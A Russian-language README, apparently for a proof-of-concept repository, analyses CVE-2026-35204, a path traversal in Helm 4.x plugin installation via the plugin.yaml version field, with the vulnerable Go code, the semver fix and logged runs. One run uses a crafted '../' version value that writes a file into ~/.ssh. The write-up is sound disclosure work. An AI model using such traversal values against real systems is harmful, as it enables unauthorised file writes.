
Proof-of-concept, демонстрирующий уязвимость path traversal (CVE-2026-35204) при установке плагинов Helm, позволяющую запись произвольных файлов через специально созданные метаданные плагина.
Этот репозиторий представляет собой PoC для CVE-2026-35204
«Helm — это менеджер пакетов для чартов Kubernetes. Начиная с версии 4.0.0 до 4.1.3, специально созданный плагин Helm при установке или обновлении заставляет Helm записывать содержимое плагина в произвольное место файловой системы. Чтобы предотвратить это, необходимо проверять, что поле version в plugin.yaml плагина Helm не содержит POSIX-разделителей пути вида «точка-точка» т.е. "/../". Эта уязвимость исправлена в версии 4.1.4."
Данный PoC демонстрирует, что metadata.Version используется для построения пути к архиву плагина, что позволяет совершить обход пути (path traversal) и записать загруженный plugin.tgz за пределами предполагаемой директории плагина. Содержимое плагина по-прежнему извлекается в указанную директорию кэша перед установкой, поэтому данный PoC не демонстрирует произвольное извлечение или перезапись произвольных файлов на хосте.
Установщик плагинов Helm имеет интерфейс с четырьмя реализациями (HTTP, локальная, VCS и OCI). Данный PoC фокусируется на HTTP-установщике. В отличие от установщиков HTTP/OCI, VCS-установщик вообще не строит путь к tarball из metadata.Version. Вот блок кода, который подготавливает tarballPath:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
где metadata.Version — это переменная, которую мы контролируем в plugin.yaml. Чтобы вызвать уязвимость, необходимо упаковать созданный плагин в архив .tgz, поскольку именно его metadata.Version извлекается с помощью plugin.ExtractTgzPluginMetadata и загружается через HTTP/OCI/локальный установщик. Следовательно, для обхода пути можно использовать http_installer, который загружает плагины в виде архива, размещённого на веб-сервере.
В примере ниже бинарник helm был вручную пересобран для включения сообщений логирования, где можно наблюдать два разных потока данных. Первый — установка плагина с корректным именем версии. Второй — установка плагина, имя версии которого содержит разделители пути вида «точка-точка»:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
Трассировки выполнения показывают, что обход пути затрагивает только место размещения загруженного архива плагина, которое по сути задаётся переменной окружения HELM_PLUGINS. Кэш (i.CacheDir) и окончательное извлечение (i.Path()) остаются неизменными. С учётом этого мы можем манипулировать временным расположением архива и его именем, что приводит к записи файла.
Вам не нужно ничего запускать или использовать вебхуки после установки; для срабатывания уязвимости достаточно обычной установки плагина.
В ходе моего анализа HTTP-установщика я заметил, что извлечение архива происходит в i.CacheDir, в то время как установка (fs.CopyDir) копирует файлы из i.CacheDir в i.Path(). Я не нашёл пути кода, где подверженный обходу tarballPath влияет на содержимое архива. Поэтому, основываясь на проанализированной трассировке выполнения, назначение извлечения архива не зависит от tarballPath, контролируемого обходом пути.
В уведомлении упоминаются как установка, так и обновление. Для установщиков HTTP/локальный/VCS метод Update() не реализован; установщик OCI реализует обновление путём вызова Install() после удаления предыдущего плагина.
Вот метод Update() из HTTP-установщика:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
Для устранения уязвимости была добавлена функция isValidSemver, которая теперь вызывается при обращении к Validate() внутри metadata.go.
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
Как видите, если версия не является допустимым semver (а ../../../../ не является), то в процессе установки вредоносного плагина Helm мы получим ошибку.
Для запуска PoC можно использовать скрипт scripts/pos.sh:
./scripts/poc.sh
Что приведёт к чему-то вроде этого:

MIT